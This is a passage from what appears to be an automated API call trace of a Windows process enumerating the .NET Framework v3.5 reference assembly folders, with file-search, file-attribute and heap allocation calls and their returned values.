hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d930d9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56d930d9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x777e773c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e9da72, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56e9da72, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77d8eb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0089.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313f30 [0089.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.555] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.556] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.556] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.556] NtClose (Handle=0x168) returned 0x0 [0089.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314878 [0089.558] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0089.558] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.558] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0089.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314980 [0089.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1c68 [0089.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314c98 [0089.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.560] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0089.560] GetLastError () returned 0x12 [0089.560] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.560] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.560] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.560] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0089.560] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0089.561] GetLastError () returned 0x12 [0089.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314878) returned 1 [0089.561] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314980) returned 1 [0089.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="")) returned 1 [0089.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0089.562] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.562] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.563] NtClose (Handle=0x15c) returned 0x0 [0089.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314980 [0089.564] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.565] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.565] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0089.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314878 [0089.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1c88 [0089.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314da0 [0089.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0089.567] GetLastError () returned 0x12 [0089.567] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0089.567] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0089.567] GetLastError () returned 0x12 [0089.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314980) returned 1 [0089.567] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314878) returned 1 [0089.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65474e4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65474e4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6651e86, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46a196b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, 